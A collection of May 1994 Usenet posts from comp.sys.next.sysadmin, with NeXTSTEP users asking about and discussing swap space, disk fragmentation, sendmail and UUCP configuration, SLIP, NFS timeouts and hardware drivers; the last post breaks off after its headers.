From: Nitezki@NiDat.sub.org (Peter Nitezki)
Subject: Re: vnode_pager: /private/swapdisk/vm/swapfile is full--what do I do?
Message-ID: <1994May18.195717.5757@nidat.sub.org>
Sender: nitezki@nidat.sub.org
Organization: private site of Peter Nitezki, Kraichtal, Germany
References: <CpyKJz.DvE@mozo.cc.purdue.edu>
Date: Wed, 18 May 1994 19:57:17 GMT
In article <CpyKJz.DvE@mozo.cc.purdue.edu> abe@vic.cc.purdue.edu (Vic
Abell) writes:
> In article <CpyJo4.3B8@ants.ci.net> jmeacham@ants.ci.net writes:
> >
> >I keep getting a message on the console which says:
> >
> >vnode_pager: /private/swapdisk/vm/swapfile is full
> >
> >What do I do so this doesn't happen? I assume this means my swapfile
> > is too small at 30 megs. I'd think this would be big enough with 20
> > megs of RAM. Any suggestions from the collected wisdom of NeXT 'net
> > Gurus. Thanks in advance.
>
> Conventional Unix wisdom says you should allocate swap space in
> an amount equal to or greater than three times memory size -- 60MB
> in your case.
>
That's right and not right at the same time. Right, this is valid for all
(conventional) Unix kernels. But NS has a Mach kernel (only the
impersonation of the higher layers is BSD), thus all things concerning
virtual memory work (rather) differently. A 20 MB system runs well with
about 35-40 MB of swap space for most users most of the time.
> NeXTSTEP controls swap space allocation via entries in the
> /etc/swaptab file and in the files of /private/vm. Look at
> swaptab(5) for more information.
>
I think if this error is due to a overrun of swapspace cause of a rogue
process reboot is the one and only action. If you don't have enough space
most of the time find more space for your swapfile to grow into (or get a
second one on another file system).
--
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Staarenbergstr. 44 | Tel.: +49 7251 62495 # not about the pleasure and
D-76703 Kraichtal | Fax : +49 7251 69215 # delight of being hooked
GERMANY | pgp & NeXTmail ok! # up to the Net. Peter 1,3-5
From: shaman@chinook.halcyon.com (Russell Wilcoxon)
Newsgroups: comp.sys.next.sysadmin
Subject: Looking for Adaptec 2742T Drivers
Date: 19 May 1994 01:45:04 GMT
Organization: Northwest Nexus Inc.
Message-ID: <2regb0$1u8@nwfocus.wa.com>
Keywords: Adaptec 2742T EISA
I know the hardware FAQ says that drivers for the Adaptec 2742T will be
available in 2nd quarter 94. (We're close.) Anyone heard anything on
these?
By the way. Why won't NeXTstep support a 2nd floppy drive? Why won't
NeXTstep support the floppy controller on the Adaptec boards?
Thanks for any info.
Russ-
shaman@halcyon.com
From: hussain@artsci.wustl.edu (Hussain Chinoy)
Newsgroups: comp.sys.next.sysadmin
Subject: Defragmentation of hard disk?
Date: 19 May 1994 02:21:01 GMT
Organization: College of Arts and Sciences -- Washington University, St. Louis, Missouri, USA
Message-ID: <2reied$ilh@bigfoot.wustl.edu>
I'm wondering if there's a way to manually defragment a hard disk?
Are there any Norton-Disk-Tools-like thing for the NeXTs?
I'm trying to avoid backing up the drive then erasing and restoring?
Any ideas?
Sincerely,
Hussain
___ __________________________________________________________
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\/__/ Head Consultant, Arts & Sciences NeXT Lab
NeXTstep, Washington University in St. Louis
baby hussain@artsci.wustl.edu
Newsgroups: comp.sys.next.sysadmin
From: shanb001@maroon.tc.umn.edu (Sharad J Shanbhag)
Subject: Re: Netinfo Help Needed.
Message-ID: <Cq17ID.69x@news.cis.umn.edu>
Sender: shanb001@maroon.tc.umn.edu
Organization: University of Minnesota
References: <2r66vf$dlv@xanth.cs.odu.edu>
Date: Thu, 19 May 1994 04:07:05 GMT
I've got NetInfo questions as well. In particular, I am trying to
configure my 'Station to use a Sun Sparc IPX as a NetInfo server.
The sysadmin manual says with great clarity
"Various files in /etc must be edited to take advantage of NIS. The
administrator in charge of you NIS domain should have some example files
taht you can use."
Okay, fine. Only problem is, I am the sysadmin for all practical
purposes, and I do NOT know what this means. If there are any gurus out there
who can help I shall be eternally thankful.
BTW, my 'Station will be part of a "mixed" network... although perhaps
it's better called a "mixed-up" network.
Please send email, save usenet bandwith. I shall compile and post any
info which helps.
Thanks!
Sharad
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sharad J. Shanbhag phone: (612) 626-9218
Graduate Program in Neuroscience and fax: (612) 626-9201
Department of Neurosurgery
University of Minnesota email:
421 Lions Research Building shanbhag@neuro.med.umn.edu
2001 6th St. SE shanb001@maroon.tc.umn.edu
Minneapolis, MN 55455
From: szallies@ylvie.informatik.uni-dortmund.de (Constantin Szallies (PG234))
Newsgroups: comp.sys.next.sysadmin
Subject: (Taylor)UUCP: What kind of device for modem (Intel hardware)
Date: 19 May 1994 10:14:38 GMT
Organization: CS Department, Dortmund University, Germany
Sender: szallies@ylvie (Constantin Szallies (PG234))
Distribution: world
Message-ID: <2rfe6e$ho2@fbi-news.informatik.uni-dortmund.de>
Does anyone know, what kind of device i have to use for a modem in TaylorUUCP?
Is is cua or cufa?
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From: jklinke@aeon.ucsd.edu (Jochen Klinke)
Newsgroups: comp.sys.next.sysadmin
Subject: root password fails
Date: 18 May 1994 19:30:48 GMT
Organization: University of California at San Diego
Message-ID: <2rdqd8$i6p@network.ucsd.edu>
I just realized that I cannot login any longer as root from the login
window. Last week it still worked. No problems to su to root from a
terminal though. So I rebooted single user and reset the root password.
Still no change. Login not possible from the login window. Any ideas?
Please help.
Thanks,
jk
From: ed@sfih.no (Eystein Dugstad)
Newsgroups: comp.sys.next.sysadmin
Subject: How to modify the From:-field in sendmail
Date: 19 May 1994 11:22:35 GMT
Organization: Sogn og Fjordane Ingeniorhogskole
Message-ID: <2rfi5r$ml1@due.uninett.no>
From: hubovsky@saruman.neuro.tuwien.ac.at (Rainer Hubovsky)
Newsgroups: comp.sys.next.sysadmin
Subject: MouseX and xdm?
Date: 19 May 1994 13:06:59 GMT
Organization: Technical University Vienna, Austria
Message-ID: <2rfo9j$fnc@email.tuwien.ac.at>
Hello, everybody!
We use MouseX and we want to start xdm at boot time.
I put
"/usr/bin/X11/xdm"
in my rc.local, but after the reboot there appears the NeXT Login panel
again and no xdm is started.
Also, if I open the console by entering "console" in the loginwindow,
log in as root and try to start xdm, it does not work, too.
Does anyone know, what to do to start xdm at boottime?
greetings
-r
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From: jirapa <jirapa@nextover.pe.utexas.edu>
Newsgroups: comp.sys.next.sysadmin
Subject: SLIP help??
Date: 19 May 1994 14:34:44 GMT
Organization: UT at Austin
Distribution: world
Message-ID: <2rfte4$sb1@geraldo.cc.utexas.edu>
X-UserAgent: Version 1.1.3
X-XXMessage-ID: <AA00E44C44018009@slip-5-9.ots.utexas.edu>
X-XXDate: Thu, 19 May 94 15:39:24 GMT
Hi,
I was trying to install SLIP (the newest version) on my 030 cube at home but had several difficulties with the configurations. I dont know how to :
1) supply SLIP with the telephone number to SLIP server
2) supply SLIP with the user name and password
3) HOW TO INVOKE SLIP
I have the right cable wiring according to the zs UNIX man pages.
From: flight@mathi.uni-heidelberg.de (Gregor Hoffleit)
Newsgroups: comp.sys.next.sysadmin
Subject: sendmail+IDA for NS3.2 ?
Date: 19 May 1994 14:43:43 GMT
Organization: University of Heidelberg, Germany
Message-ID: <2rftuv$jpv@sun0.urz.uni-heidelberg.de>
Is anybody running NS3.2 with sendmail+IDA (e.g. 5.67b + 1.5) ? What
shall I do to compile it ? Or any hints that smail or sendmail 8.6.9 is
miles better ?
Gregor
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Newsgroups: comp.sys.next.sysadmin
From: hans@tms-gmbh.de(Hans Stoeger)
Subject: Re: Looking for Adaptec 2742T Drivers
Message-ID: <Cq26EM.1LA@tms-gmbh.de>
Sender: usenet@tms-gmbh.de
Organization: tms GmbH, Regensburg, Germany
References: <2regb0$1u8@nwfocus.wa.com>
Date: Thu, 19 May 1994 16:42:21 GMT
> By the way. Why won't NeXTstep support a 2nd floppy drive? Why
won't
> NeXTstep support the floppy controller on the Adaptec boards?
>
The real question is:
why should they?
Nobody needs a second floppy and most of the "officially not supported"
floppy controllers on SCSI controllers work anyway. If not spend the
20$ (if you buy expensive) for a Multi-I/O board (but most PC s already
have one!)
Hans
From: sears@uh.edu (Paul S. Sears)
Newsgroups: comp.sys.next.sysadmin
Subject: Scripts to lock/expire accounts
Date: 19 May 1994 17:56:14 GMT
Organization: University of Houston
Message-ID: <2rg97u$ks6@masala.cc.uh.edu>
One of the standard ways to lock an account is to add a "*" infront of the
encrypted password for the user. In a system using /etc/passwd, this is a
simple sed, but using netifno, we need to use either niload or nu -M.
Now, nu -M seems like a nice thing, but it requires the _plaintext_
password, not the encrypted one -- and once the account owner changes the
password, we no longer know what the _plaintext_ is...
Before I whip up a perl program to do this, has anyone already written a
script to expire accounts? I don't want to re-invent the wheel...
--
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Newsgroups: comp.sys.next.sysadmin
From: sfrazier@dogbert.fmrco.com (Scott Frazier)
Subject: Installation of NS/I
Message-ID: <SFRAZIER.94May19141743@dogbert.fmrco.com>
Sender: news@fmrco.com
Organization: /home/ocean/sfrazier/.organization
Date: Thu, 19 May 1994 19:17:43 GMT
Hi,
I've just purchased a copy of NS/I and I'm wondering how much PC
savvy is required to install it? I'm essentially a SUN/UNIX guy and I've
stayed away from PC's as much as possible. Now they've gone and ported a
worthwhile OS to the beast and the boxes are cheap, so I'm taking the
plunge. Should I or should I not bring along a pair of water wings?
-S.
P.s. If you don't want to clutter the group, send me mail directly at
"sfrazier@fmrco.com". All responses gleefully appreciated.
--
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Systems Engineer 19 Bishop Allen Drive
(617) 661-8181 x252 Cambridge, MA. 02139
(617) 570-4587 sfrazier@i-kinetics.com
From: sandman@well.sf.ca.us (W. Sanford May)
Newsgroups: comp.sys.next.sysadmin
Subject: SLIP Internet Access on NeXT (Black)
Date: 19 May 1994 20:16:59 GMT
Organization: The Whole Earth 'Lectronic Link, Sausalito, CA
Message-ID: <2rghfr$jd2@nkosi.well.com>
I am trying to configure a NeXT Cube running NS 3.0 for connection to the
Internet via a SLIP link. I plan to use Netcom as the SLIP provider.
I want to be able to use ftp, telnet, mail, NewsGrazer to read Usenet
news, finger, etc. as well as shareware/freeware software for such
things as gopher and World-Wide Web access. I'm connecting with
a 14.4 kbps modem (US Robotics - Hayes compatible).
Does anyone have experience or how-to information concerning set up
for this kind of SLIP link? Any and all detailed how-to, hints, tips,
traps, etc. via post or email would be greatly appreciated. I'd
really like to use the NeXT Cube as my primary machine for net access.
If I can't figure it out, I'll have to default to my Mac, which I'd
rather avoid.
thanks...
sanford
From: doug@foxtrot.ccmrc.ucsb.edu (Douglas Scott)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: MouseX and xdm?
Date: 19 May 1994 20:34:22 GMT
Organization: University of California, Santa Barbara
Distribution: world
Message-ID: <2rgige$1qi@hub.ucsb.edu>
References: <2rfo9j$fnc@email.tuwien.ac.at>
In article <2rfo9j$fnc@email.tuwien.ac.at> hubovsky@saruman.neuro.tuwien.ac.at
(Rainer Hubovsky) writes:
] Hello, everybody!
]
] We use MouseX and we want to start xdm at boot time.
] I put
] "/usr/bin/X11/xdm"
] in my rc.local, but after the reboot there appears the NeXT Login panel
] again and no xdm is started.
]
] Also, if I open the console by entering "console" in the loginwindow,
] log in as root and try to start xdm, it does not work, too.
]
] Does anyone know, what to do to start xdm at boottime?
]
You can't. MouseX must have NextStep running underneath it (even though it
does not show) because MouseX gets its button and key events from the NextStep
driver. Since you cannot shut off NextStep, I dont think you can defeat the
login window, and so you cannot run xdm.
Please correct me, anyone, if there is a a way.
--
Douglas Scott | Senior Development Engineer
Tel: (805) 893-8352 | Center for Computer Music Research and Composition
Internet (NeXTMail ok): | Music Department
<doug@ccmrc.ucsb.edu> | University of California, Santa Barbara
Newsgroups: comp.mail.uucp,comp.sys.next.sysadmin
From: westes@netcom.com (Will Estes)
Subject: Taylor uuchk returns nothing
Message-ID: <westesCq2Mro.86s@netcom.com>
Organization: Mail Group
Date: Thu, 19 May 1994 22:35:48 GMT
After installing Taylor 1.04, the uuchk command is not returning
anything. Note that
- in policy.h, I have #define HAVE_TAYLOR_CONFIG 1
- I have a completed call, config, dial, port, and sys files in
/usr/local/lib/uucp
Why is Taylor not finding this information?
--
Will Estes Internet: westes@netcom.com
From: alby@uunet.uu.net (Anthony Williams)
Newsgroups: comp.mail.uucp,comp.sys.next.sysadmin
Subject: Re: Taylor uuchk returns nothing
Date: 19 May 1994 19:55:04 -0400
Organization: UUNET Technologies, Inc. (Earth offices)
Sender: alby@cthulu.UU.NET
Distribution: world
Message-ID: <2rgu8o$6j6@cthulu.UU.NET>
References: <westesCq2Mro.86s@netcom.com>
The correct directory should be:
/usr/local/lib/uucp/conf
All the config files such as dial,sys,etc.. should be located
in that directory.
In article <westesCq2Mro.86s@netcom.com>, westes@netcom.com (Will Estes) writes:
>After installing Taylor 1.04, the uuchk command is not returning
>anything. Note that
>
>- in policy.h, I have #define HAVE_TAYLOR_CONFIG 1
>
>- I have a completed call, config, dial, port, and sys files in
>/usr/local/lib/uucp
>
>Why is Taylor not finding this information?
>
>--
>Will Estes Internet: westes@netcom.com
--
Anthony Williams uunet!alby
Technical Support Engineer alby@uunet.uu.net
--
Anthony Williams uunet!alby
Technical Support Engineer alby@uunet.uu.net
Newsgroups: comp.sys.next.sysadmin
From: gerti@BITart.sub.org (Gerd Knops)
Subject: Re: uucp/sendmail
Message-ID: <Cq2BLu.M2@BITart.sub.org>
Sender: usenet@BITart.sub.org
Organization: BITart, NEXTSTEP/OPENSTEP Consulting
References: <CprAvw.4LF@cuug.ab.ca>
Date: Thu, 19 May 1994 18:34:41 GMT
In article <CprAvw.4LF@cuug.ab.ca> twasko@cuug.ab.ca (Tim Wasko) writes:
> I am using NeXTs "stock" sendmail.cf files to get uucp. It works fine except
> for the first line in the mail looks like:
>
> From somewhere!person@site ...
> ^^^^^^^^^^
>
> Why is this somewhere! showing up. I can't see anything in the rules that
> show this. Any ideas are welcome. Please email directly.
I was having the same problems. The following changes did the trick for me(NS 3.2).
NOTE: I am not a sendmail wiz (who is???), all of those changes where done in a sort of
trial and error method, but they work perfectly for me and a number of friends:
0) create a file /etc/resolv.conf, containing the following line (of course modified to
hold your domain name):
domain BITart.sub.org
This is not documented!!!
The next changes apply to the sendmail.mailhost.cf file:
1) (the name of my mail-relay is pilhuhn)
# @@@1 the following two lines have been modified:
# instead of:
# DR mail-relay
# CR mail-relay
DR pilhuhn
CR pilhuhn
2) (set the domain name, my system is known with)
# local domain name
#
# This is now set from the resolver configuration call. If the domain
# name you would like to have appear in your mail headers is different
# from your Internet domain name, edit and uncomment the following to
# be your mail domain name.
# DmPodunk.EDU
# @@@1 inserted next line
DmBITart.sub.org
3) (change a line because outgoing adress format)
############################################################
#####
##### UUCP Mailer specification
#####
# @@@2 changed first line, was (U-flag removed!!!)
#Muucp, P=/usr/bin/uux, F=msDFMhuU, S=13, R=23, E=\n,
Muucp, P=/usr/bin/uux, F=msDFMhu, S=13, R=23, E=\n,
A=uux - -r $h!rmail ($u)
# Convert uucp sender (From) field
# @@@1 last line changed, was:
#R$+ $:$w!$1 stick on real host name
# @@@2 last line changed, was:
#R$+ $:$m!$1 stick on real host name
S13
R$+ $:$>5$1 convert to old style
R$=w!$+ $2 strip local name
R$+ $:$1@$m stick on real host name
4) (I do not remember why I did this...)
# If you want to pass all other explicit domain names up the ladder
# to our forwarder then uncomment the following line. @@@1 did this...
R$*<@$*.$+>$* $#$M $@$R $:$1<@$2.$3>$4 user@any.domain
# and comment out this one.
#R$*<@$+.$->$* $#ddn $@ $2.$3 $:$1<@$2.$3>$4 user@any.domain
------------------------------------------------------------------------
This works for me, the format of the outgoing adresses is user@domain_name, eG
gerti@BITart.sub.org
I hope, this info helps you.
Gerd Knops
From: brahm@alembic.com (Lans Brahmantyo)
Newsgroups: comp.sys.next.misc,comp.sys.next.software,comp.sys.next.sysadmin
Subject: Changing Font Size Menu??
Date: 19 May 1994 21:22:12 -0500
Organization: Q.Ad - A NEXTSTEP-based Advertising Agency
Sender: daemon@cs.utexas.edu
Message-ID: <199405200114.AA00723@alembic.com>
Hello,
Anybody has any idea how to modify NEXTSTEP's Font Size menu so it does not
only display 8, 9, 10, 11, 12, 14, 16, 18, 24, 36, 48 and 64?
I would like to be able to put 20, 28, 33 in there as well.
Any help is greatly appreciated.
...... brahm
Q.Ad, Q.Type
Newsgroups: comp.sys.next.sysadmin
From: alan@osci.me.ttu.edu (Alan A. Barhorst)
Subject: disktab entry for Micropolis 2200A-IDE?
Message-ID: <1994May20.040400.1098@hydra.acs.ttu.edu>
Keywords: disktab,micropolis,ide
Sender: news@hydra.acs.ttu.edu (USENET News System)
Organization: Texas Tech University
Date: Fri, 20 May 94 04:04:00 GMT
Can anybody point me to the appropriate disktab entry for the 2200A IDE
fixed disk from Micropolis.
Thanks,
Alan
From: eps@futon.SFSU.EDU (Eric P. Scott)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Defragmentation of hard disk?
Date: 20 May 1994 05:40:29 GMT
Organization: San Francisco State University
Message-ID: <2rhigd$s2v@nic-nac.CSU.net>
References: <2reied$ilh@bigfoot.wustl.edu>
In article <2reied$ilh@bigfoot.wustl.edu>
hussain@artsci.wustl.edu (Hussain Chinoy) writes:
>I'm wondering if there's a way to manually defragment a hard disk?
> Are there any Norton-Disk-Tools-like thing for the NeXTs?
> I'm trying to avoid backing up the drive then erasing and restoring?
This is like the frequently-asked "where can I find anti-virus
software for NEXTSTEP"...
Everything you know is wrong!
Here's the deal: disk partitions in BSD FFS format (i.e. what's
normal/standard for NEXTSTEP) tend not to suffer the
fragmentation problems that afflict MS-DOS/FAT and Macintosh/HFS
filesystems. However, the superuser isn't subject to the
safeguards that protect against excessive fragmentation. Should
that happen, you'd have little choice but to back up, erase, and
restore.
Why isn't defragmentation software available?
First, let me remind you that everything out there for "in-place"
defragmentation on other platforms *strongly* advises you to make
a backup first! This process is inherently dangerous (i.e. you
could lose *everything*)--particularly if it's interrupted, the
computer crashes, the power fails, etc. Also, on a really full
disk (which is when fragmentation is most likely to occur), it
might not even be possible to defragment.
Second, you can't defragment a disk that's in use (not without
some operating system support that isn't part of what NeXT
ships). While you could have a NEXTSTEP application that
defragments _additional_ drives, the root partition is strictly
off-limits. You'd need to shut the system down and boot from
another disk. (Ideally, this would be the NEXTSTEP CD-ROM.)
This is hardly "user friendly," but with most NEXTSTEP systems
running in a single partition configuration, there aren't too
many other options.
So what do I recommend?
Defragmentation service bureaus. Someone with a large "spare"
hard drive copies all your data to their disk, erases yours,
copies it all back, and then erases their copy--for a nominal
fee. While they're at it, they might as well offer backup
service, media conversion, CD-ROM mastering, etc.
A little project for someone would be to write something that
performed "fragmentation assessment"--since there currently
isn't any way for users to know how fragmented their filesystems
actually are, they can't determine whether defragmentation is
going to result in any noticeable improvement.
-=EPS=-
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin
From: ambi@world.std.com (Michael S Amirault)
Subject: Help needed installing NSFIP (can't find CD-ROM)!
Message-ID: <Cq3Axv.H7K@world.std.com>
Keywords: NSFIP, CD-ROM, Diamond Stealth, Zeos, Adaptec, Help!
Organization: The World Public Access UNIX, Brookline, MA
Date: Fri, 20 May 1994 07:17:55 GMT
HELP! I don't know what to try next! I can't get my Zeos to recoginize
the CD-ROM drive during NeXT installation. Here are the particulars:
Zeos Pantera PCI/ISA
Adaptec 1542CF SCSI
Quantum 1GB drive
SONY CDU-561 CD-ROM internal drive (formerly an external sun drive).
The problem is pretty simple, the NeXTSTEP installation can't find the
CD-ROM drive. I've used this same drive to install 3.1 and 3.2 on a black
slab.
Can anyone help? I'm desperate! :-(
Also, does anyone know if a Diamond Stealth card will work? Zeos thought
they were doing me a favor by automatically upgrading my Viper to a Stealth
but I have a feeling it ain't going to work...
Thanks,
Mike
ambi@world.std.com
Newsgroups: comp.sys.next.sysadmin
From: dbrad@ucdmath.ucdavis.edu (David Bradford)
Subject: Network help
Message-ID: <Cq3Ay2.D2K@ucdavis.edu>
Keywords: Booting from ethernet
Sender: David Bradford
Organization: UCD Department of Mathematics, Davis CA
Distribution: world
Date: Fri, 20 May 1994 07:18:02 GMT
I know very little about Network sysadmin.
Could Anyone give me a step by step procedure for addinhg a diskless
client to an existing network.
The client has 2.1 installed and currently boots from the internal
drive.
When I try to make it boot from the ethernet, it gets timed out.
The host is running 3.2 and I export a few directories conatining apps
to the client.
I WANT THE CLIENT TO BOOT FROM THE ETHERNET. WHAT DO I DO?
I will the convert the internal drive to a swap drive.
Any help appreciated.
Thanks,
David Bradford
Newsgroups: comp.sys.next.sysadmin
From: chr@bio128.uni-bielefeld.de (Christian Bartling)
Subject: timeout s at NFS-access
Sender: news@hermes.hrz.uni-bielefeld.de (News Administrator)
Message-ID: <Cq3Fz7.I6B@hermes.hrz.uni-bielefeld.de>
Date: Fri, 20 May 1994 09:06:42 GMT
Organization: Universitaet Bielefeld, Rechenzentrum
Keywords: NFS TCP NETWORK TIMEOUT RPC
We have some problems with one of our NeXT stations concerning the nfs
file system. Logging in and the access to the nfs-mounted directories is
very (,very) slow. After examining the connections with netstat and
nfsstat we found out that the station has a big amount of timeouts
(compared to the other machine in the cluster):
nfsstat:
Server rpc:
calls badcalls nullrecv badlen xdrcall
2094 0 0 0 0
Client rpc:
calls badcalls retrans badxid timeout wait newcred
4966 50 1385 1 1434 0 0
netstat:
ip:
31741 total packets received
0 bad header checksums
0 with size smaller than minimum
0 with data size < data length
0 with header length < data size
0 with data length < header length
7392 fragments received
0 fragments dropped (dup or out of space)
866 fragments dropped after timeout
0 packets forwarded
0 packets not forwardable
0 redirects sent
Increasing the timeout threshold in the NFS-Manager did not work.. Are
there any other possibilities to solve this problem??
Hardware:
2 Cube 25Mhz ok
2 Stations 25Mhz ok
1 Station 33Mhz --
OS: NeXT Step 3.0
ps: All ethernet cable s are connected well (no problems with the other
computers)
---
Christian Bartling
chr@bio128.uni-bielefeld.de
Newsgroups: comp.sys.next.sysadmin
From: Matthias Rosenberger
Subject: Re: Defragmentation of hard disk?
Message-ID: <1994May20.102928.11264@news.lrz-muenchen.de>
Sender: news@news.lrz-muenchen.de (Mr. News)
Organization: Leibniz-Rechenzentrum, Muenchen (Germany)
References: <2rhigd$s2v@nic-nac.CSU.net>
Date: Fri, 20 May 1994 10:29:28 GMT
In article <2rhigd$s2v@nic-nac.CSU.net> eps@futon.SFSU.EDU (Eric P. Scott) writes:
> In article <2reied$ilh@bigfoot.wustl.edu>
> hussain@artsci.wustl.edu (Hussain Chinoy) writes:
> >I'm wondering if there's a way to manually defragment a hard disk?
> > Are there any Norton-Disk-Tools-like thing for the NeXTs?
> > I'm trying to avoid backing up the drive then erasing and restoring?
>
> This is like the frequently-asked "where can I find anti-virus
> software for NEXTSTEP"...
>
> Everything you know is wrong!
>
>
> Here's the deal: disk partitions in BSD FFS format (i.e. what's
> normal/standard for NEXTSTEP) tend not to suffer the
> fragmentation problems that afflict MS-DOS/FAT and Macintosh/HFS
> filesystems. However, the superuser isn't subject to the
> safeguards that protect against excessive fragmentation. Should
> that happen, you'd have little choice but to back up, erase, and
> restore.
>
[...]
> A little project for someone would be to write something that
> performed "fragmentation assessment"--since there currently
> isn't any way for users to know how fragmented their filesystems
> actually are, they can't determine whether defragmentation is
> going to result in any noticeable improvement.
>
> -=EPS=-
From the fsck man page:
After successfully correcting a file system,
fsck will print the number of files on that file system, the
number of used and free blocks, and the percentage of frag-
mentation.
I always had a fragmentation less than 1%.
--
Matthias Rosenberger, Walter Schottky Institut, TU Muenchen
email: matthias@macnet.wsi.physik.tu-muenchen.de
Newsgroups: comp.sys.next.sysadmin
From: Matthias Rosenberger
Subject: Re: vnode_pager: /private/swapdisk/vm/swapfile is full--what do I do?
Message-ID: <1994May20.104317.11615@news.lrz-muenchen.de>
Sender: news@news.lrz-muenchen.de (Mr. News)
Organization: Leibniz-Rechenzentrum, Muenchen (Germany)
References: <CpyJo4.3B8@ants.ci.net>
Date: Fri, 20 May 1994 10:43:17 GMT
In article <CpyJo4.3B8@ants.ci.net> jmeacham@ants.ci.net (James D. Meacham 3rd) writes:
>
>
> I keep getting a message on the console which says:
>
> vnode_pager: /private/swapdisk/vm/swapfile is full
>
>
> What do I do so this doesn't happen? I assume this means my swapfile is too
> small at 30 megs. I'd think this would be big enough with 20 megs of RAM. Any
> suggestions from the collected wisdom of NeXT 'net Gurus. Thanks in advance.
> Peace,
>
Try not to set a hiwat in your /etc/swaptab file. Then you'll see how much swapspace you'll need,
since the swapfile will grow up to the size your system will require.
Then, you may set again a hiwat mark a little higher than that you'll find out, if you think you'd
need it. According to my experience and to my system usage, 30 MB are too little for 20 MB. Better
think of 40-50 MB. For the best, leave enough space for the swapfile to grow, and if it will grow
higher than your double RAM space all the time, buy more RAM ;^)
--
Matthias Rosenberger, Walter Schottky Institut, TU Muenchen
email: matthias@macnet.wsi.physik.tu-muenchen.de
From: stef@rs1.Theo-Phys.Uni-Essen.DE (Stefan Ried)
Newsgroups: comp.sys.next.sysadmin
Subject: Looking for miro8S 2MBdriver
Date: 20 May 1994 10:34:23 GMT
Organization: Comp.Center (RUS), U of Stuttgart, FRG
Message-ID: <2ri3nf$31bv@info2.rus.uni-stuttgart.de>
Keywords: miro8S, S3
I just made a upgrade from 1 MB up to 2 MB Video-Ram on
my miroCrystal 8S, S3-Chipset Video-Board.
I hoped to get a higher resolution than with 1MB, but the
NestStep for Intel S3 Driver does not support the second Meg.
Which is also the official statement of Next and Miro.
Does anybody nevertheless have the knowledge to fix the NextStep
S3-driver for the miroCrystal 8S with 2MB ?
The 2MB are recognized correctly while booting.
Thanks
stef
Newsgroups: comp.sys.next.sysadmin
From: roberts@rd.eng.bbc.co.uk (Robert Standen)
Subject: Re: Using a CD-ROM on a network?
Message-ID: <Cq3tD1.7w4@bbc.co.uk>
Sender: usenet@bbc.co.uk
Organization: British Broadcasting Corporation, UK
References: <1994May17.123459.26869@sics.se> <1994May17.162730.5450@earlham.edu>
Date: Fri, 20 May 1994 13:55:48 GMT
Yacoub Ayoub Rabah (jack@hyla.math.earlham.edu) wrote:
: In article <1994May17.123459.26869@sics.se> writes:
: > Does anybody know how I can mount and export a CD-ROM
: > to the network and still be able to change CD-ROM disks
: > without having to export each new disk .
: >
: > Thanks,
: > /Ulf
: > ulf@initiera.upnet.se
: I would be interested in learning how to do that too!
: Thanks
: --
: Jack A. Rabah / | | _
: Computer Science Dept. \ | | / \
: Earlham College | / | | / \
: jack@math.Earlham.edu (NeXTmail) ---------- -----------
: rabahya@yang.earlham.edu (vax mail) -
Newsgroups: comp.sys.next.sysadmin
Organization: Antigone Press gateway, San Francisco
Return-Path: <vdemarco@bou.shl.com>
From: Vince Demarco <vdemarco@bou.shl.com>
Message-ID: <9405201409.AA02900@ico.isc.com>
Date: Fri, 20 May 94 08:08:58 -0600
Subject: Re: uucp/sendmail
In article <CprAvw.4LF@cuug.ab.ca> twasko@cuug.ab.ca (Tim Wasko) writes:
> I am using NeXTs "stock" sendmail.cf files to get uucp. It works fine
except
> for the first line in the mail looks like:
>
> From somewhere!person@site ...
> ^^^^^^^^^^
>
> Why is this somewhere! showing up. I can't see anything in the rules that
> show this. Any ideas are welcome. Please email directly.
This isn't a problem with sendmail at all.
The problem lyes in rmail.
Next will eventually get around to updating the unix side of the system but
until they do.
The fix is to grab a copy of rmail that was posted to nova.cc.purdue.edu. I
can't remember where it is but its probably in the 1.0 or 2.0 directories.
this gets posted at least once a month why doesn't this get added to the FAQ.
vince
Newsgroups: comp.sys.next.sysadmin
From: gerben@rna.nl (Gerben Wierda)
Subject: Re: Read Receipt's from other MTU's?
Message-ID: <1994May20.184004.1484@rna.nl>
Sender: gerben@rna.nl (Gerben Wierda)
Organization: G.R.O.S.S.
References: <Cq0xI0.27p@xexos.com>
Date: Fri, 20 May 1994 18:40:04 GMT
Mark Chamberlain writes
> In article <ROBERT.94May18224702@steffi.demon.co.uk>
robert@steffi.demon.co.uk
> (Robert Nicholson) writes:
> > Has anybody got other MTU's supporting Read Receipt requests...
> > Received: by NeXT.Mailer (1.100.RR)
> > Received: by NeXT Mailer (1.100.RR)
>
If your mail has a Return-Receipt-To: fiels, some other MTU's will respond
(like elm if I'm correct).
> My last experiments have shown that its all in the . between the first
> NeXT.Mailer statement. It must be there and it must be the first Received:
> statement.
What does this statement mean? That that is the statement NeXT MTU responds to?
Seems so, but that wasn't the question asked, I think.
--
gerben@rna.nl (Gerben Wierda) NEXTSTEP RD242
"If you don't know where you're going, any road will take you there"
Paraphrased in Alice in Wonderland, originally from the Talmud.
From: bobs@pth3.bu.edu (Robert Singleton)
Newsgroups: comp.sys.next.sysadmin
Subject: A Perplexing Problem
Date: 20 May 1994 19:28:55 GMT
Organization: Boston University
Message-ID: <2rj31n$41l@news.bu.edu>
Hello,
Recently I asked about a "network" problem I'm having. I've
taken my NeXT (NS 3.1) off the network and am presently using
it at home. It was configured as pth3.bu.edu (as is the machine
I'm currently using). When I reboot I get the following message
when the daemons are started: autonfsmount pth3 can't get my
address. It then takes about 5 min. or so before it gives up
looking, after which it boots successfully. Apparently there is
more to removing a machine from the network than simply unplugging
it and taking it home.
Someone suggested that I go into the Simple Network Starter and
define myself as a stand alone node. It turns out that I've been
a stand alone node all along. But while I was in the Simple Network
Starter I changed my host name to "localhost" and configured the
machine. Now the machine rebooted successfully, with no autonfsmount
complaint - and the above problem seems to have disappeared. But now
when I login, the Workspace manager is gone (although a shell window
works). In about 5 minutes, the Workspace manager reappears and
everything seems to be just fine. The next time I login, if I haven't
rebooted, the Workspace manager starts up as it should.
Any suggestions on this very perplexing problem?!? Thanks very much.
Regards,
--
bob singleton
bobs@pth3.bu.edu
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
From: Dave@NexusAdmin.COM(David W. Fahrney)
Subject: Exabyte 8205 8mm Tape Drive and SafetyNet
Message-ID: <Cq47L3.p2@nexusadmin.com>
Keywords: Exabyte, SafetyNet
Sender: dave@nexusadmin.com (David W. Fahrney)
Organization: Nexus Administration
Date: Fri, 20 May 1994 19:03:02 GMT
